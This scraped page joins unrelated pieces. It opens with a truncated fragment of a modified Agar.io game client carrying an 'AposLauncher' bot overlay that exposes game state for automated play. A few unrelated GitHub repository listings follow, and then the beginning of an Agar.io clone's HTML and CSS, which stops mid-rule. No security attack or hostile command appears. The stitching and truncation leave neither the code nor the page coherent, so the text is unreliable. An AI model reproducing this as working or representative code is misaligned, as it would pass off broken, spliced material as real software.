d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w
niccokunzmann / Dockerhub Build Status ImageStatus images for your dockerhub automated build (like those for travis)
walleth / KHardWareWalletKotlin Android library to for the status-im light hardware wallet (a java card)
keycard-tech / Keycard Installer Androiddiscontinued, use https://github.com/status-im/keycard-cli - Keycard applet installer over NFC
Rogerio111 / Rogerio<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"> <meta name="keywords" content="agario, agar, io, cell, cells, virus, bacteria, blob, game, games, web game, html5, fun, flash"> <meta name="robots" content="index, follow"> <meta name="viewport" content="minimal-ui, width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta property="fb:app_id" content="677505792353827"/> <meta property="og:title" content="Agar.io"/> <meta property="og:description" content="Eat cells smaller than you and don't get eaten by the bigger ones, as an MMO"/> <meta property="og:url" content="http://agar.io"/> <meta property="og:image" content="http://agar.io/img/1200x630.png"/> <meta property="og:image:width" content="1200"/> <meta property="og:image:height" content="630"/> <meta property="og:type" content="website"/> <title>Agar.io</title> <link id="favicon" rel="icon" type="image/png" href="favicon-32x32.png"/> <!-- Área de anuncio --> <link href='https://fonts.googleapis.com/css?family=Ubuntu:700' rel='stylesheet' type='text/css'> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/glyphicons-social.css" rel="stylesheet"> <link href="css/animate.css" rel="stylesheet"> <style>body{padding:0;margin:0;overflow:hidden;}#canvas{position:absolute;left:0;right:0;top:0;bottom:0;width:100%;height:100%;}form{margin-bottom:0px;}.btn-play,.btn-settings,.btn-spectate,.btn-play-guest,.btn-login,.btn-logout{display:block;float:left;height:35px;}.btn-spectate,.btn-logout{height:35px;display:block;width:110px;margin-left:10px;margin-bottom:5px;}#helloContainer[data-logged-in="0"] .btn-play-guest{margin-left:5px;width:125px;}#helloContainer[data-logged-in="0"] .btn-login{margin-left:5px;width:145px;}#helloContainer[data-logged-in="0"] .agario-exp-bar,#helloContainer[data-logged-in="0"] .progress-bar-star,#helloContainer[data-logged-in="0"] #agario-main-buttons .agario-profile,#helloContainer[data-logged-in="0"] .btn-play{display:none;}#helloContainer[data-logged-in="0"] .btn-logout{display:none;}#helloContainer[data-logged-in="1"] .btn-play{margin-left:5px;width:275px;}#helloContainer[data-logged-in="1"] .btn-play-guest{display:none;}#helloContainer[data-logged-in="1"] .btn-login{display:none;}.btn-settings{width:40px;}.btn-spectate{display:block;float:right;}#adsBottom{position:absolute;left:0;right:0;bottom:0;}#adsBottomInner{margin:0px auto;width:728px;height:90px;border:5px solid white;border-radius:5px 5px 0px 0px;background-color:#FFFFFF;box-sizing:content-box;}.region-message{display:none;margin-bottom:12px;margin-left:6px;margin-right:6px;text-align:center;}#preview {width: 30px;height: 30px;border-radius: 400px;border: 3px solid #17c834;margin: 1px 0;float: left; position: absolute;left: 52.7%; top:42.5%;}#nicks {width: 10%;float: left; position: absolute; left: 46%; top: 42.5%;}#nick{width:10%;padding: 0px; left: 46%; top: -12px;position: relative;}#locationKnown #region{width:100%;}#locationUnknown #region{margin-bottom:15px;}#gamemode{width:10%;float:right;top: -42.5%;right: 44%;position: relative;}.agario-panel{display:inline-block;width:350px;background-color:rgba(25, 28, 29, 0.72);margin:2px;border-radius:10px;padding:5px 15px 5px 15px;vertical-align:top;}.agario-side-panel{display:inline-block;width:220px;}#helloContainer,.connecting-panel{position:absolute;top:50%;left:50%;margin-right:-50%;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);}#a300x250{width:300px;height:250px;background-repeat:no-repeat;background-size:contain;background-position:center center;}.agario-exp-bar{height:30px;position:relative;border:2px solid #01612B;}.agario-exp-bar .progress-bar{background-color:#338833;border-radius:0px 4px 4px 0px;-webkit-transition:none;transition:none;}.agario-exp-bar .progress-bar-text{font-size:12pt;cursor:default;opacity:0.75;color:#FFF;text-align:center;line-height:26px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;position:absolute;top:0;bottom:0;left:0;right:0;font-family:'Ubuntu',sans-serif;}#agario-results-table{width:100%;}#agario-results-table th{text-align:center;font-size:8pt;}#agario-results-table td{text-align:center;color:#999;font-size:11pt;padding-bottom:15px;}.progress-bar-star{position:absolute;top:-13px;right:-16px;width:50px;height:50px;background-image:url("img/star.png");background-size:cover;-webkit-transform:rotate3d(0,0,1,10deg);transform:rotate3d(0,0,1,10deg);-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:0s;animation-delay:0s;-webkit-animation-iteration-count:1;animation-iteration-count:1;cursor:default;color:#FFF;text-align:center;line-height:55px;font-size:12pt;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;font-family:'Ubuntu',sans-serif;}.tooltip-inner{max-width:300px;}.agario-profile-panel{padding:15px 15px 15px 15px;}.agario-profile-panel .agario-profile-picture{float:left;display:block;width:64px;height:64px;border-radius:5px;border:2px solid #CCC;margin-right:6px;}.agario-profile-panel .agario-profile-name-container{float:left;display:table;width:120px;height:64px;position:relative;}.agario-profile-panel .agario-profile-name-container .agario-profile-name{display:table-cell;vertical-align:middle;text-align:center;font-weight:bold;}#helloContainer[data-has-account-data="0"] .agario-profile-panel{display:none;}.agario-party,.agario-party-0,.agario-party-1,.agario-party-2,.agario-party-3,.agario-party-4,.agario-party-5,.agario-party-6{display:none;}#helloContainer[data-gamemode=":party"] .agario-party{display:block;position:relative;}#helloContainer[data-gamemode=":party"] .agario-promo{display:none;}#helloContainer[data-party-state="0"] .agario-party-0{display:block;}#helloContainer[data-party-state="1"] .agario-party-1{display:block;}#helloContainer[data-party-state="2"] .agario-party-2{display:block;}#helloContainer[data-party-state="3"] .agario-party-3{display:block;}#helloContainer[data-party-state="4"] .agario-party-4{display:block;}#helloContainer[data-party-state="5"] .agario-party-5{display:block;}#helloContainer[data-party-state="6"] .agario-party-6{display:block;}.partyToken{margin-bottom:10px;}.side-container{vertical-align:top;display:inline-block;width:224px;}.cell-spinner{display:block;margin:0;}.creating-party-text{position:absolute;cursor:default;top:0;bottom:0;left:0;right:0;width:100%;height:100%;text-align:center;color:#FFF;font-size:24px;line-height:100px;text-shadow:0px 0px 3px #000000,-1px 0px 0px #000000,1px 0px 0px #000000,0px 1px 0px #000000,0px -1px 0px #000000,-1px -1px 0px #000000,1px 1px 0px #000000,-1px 1px 0px #000000,1px -1px 0px #000000;}.agario-results-0,.agario-results-1,.agario-results-2{display:none;}#helloContainer[data-results-state="0"] .agario-results-0{display:block;}#helloContainer[data-results-state="1"] .agario-results-1{display:block;}#helloContainer[data-results-state="2"] .agario-results-2{display:block;}#options>label{display:block;width:94px;float:left;}#stats{position:relative;width:350px;height:581px;padding:0px 0px 300px 0px;overflow:hidden;}#statsPelletsContainer,#statsTimeAliveContainer,#statsHighestMassContainer,#statsTimeLeaderboardContainer,#statsPlayerCellsEatenContainer,#statsTopPositionContainer{position:absolute;width:100px;height:100px;}#statsPelletsContainer{top:30px;left:50px;}#statsHighestMassContainer{top:30px;right:50px;}#statsTimeAliveContainer{top:85px;left:50px;}#statsTimeLeaderboardContainer{top:85px;right:50px;}#statsPlayerCellsEatenContainer{top:140px;left:50px;}#statsTopPositionContainer{top:140px;right:50px;}#statsPellets{position:absolute;top:0;left:0;bottom:0;right:0;margin:auto;}#statsText{position:absolute;top:0;bottom:0;left:0;right:0;line-height:100px;font-size:23px;}#statsSubtext{position:absolute;bottom:0;left:0;right:0;line-height:60px;font-size:12px;color:#000;text-align:center;}#statsChartText{position:absolute;left:20px;bottom:250px;line-height:40px;font-size:40px;}#statsChartText,#statsText{cursor:default;color:#444;text-align:center;font-weight:bold;}#statsContinue{position:absolute;left:25px;right:25px;width:300px;bottom:295px;}#statsGraph{position:absolute;bottom:350px;left:0px;right:0px;opacity:0.4;}#s300x250{position:absolute;bottom:10px;left:25px;right:25px;width:300px;height:250px;}.tosBox{z-index:1000;position:a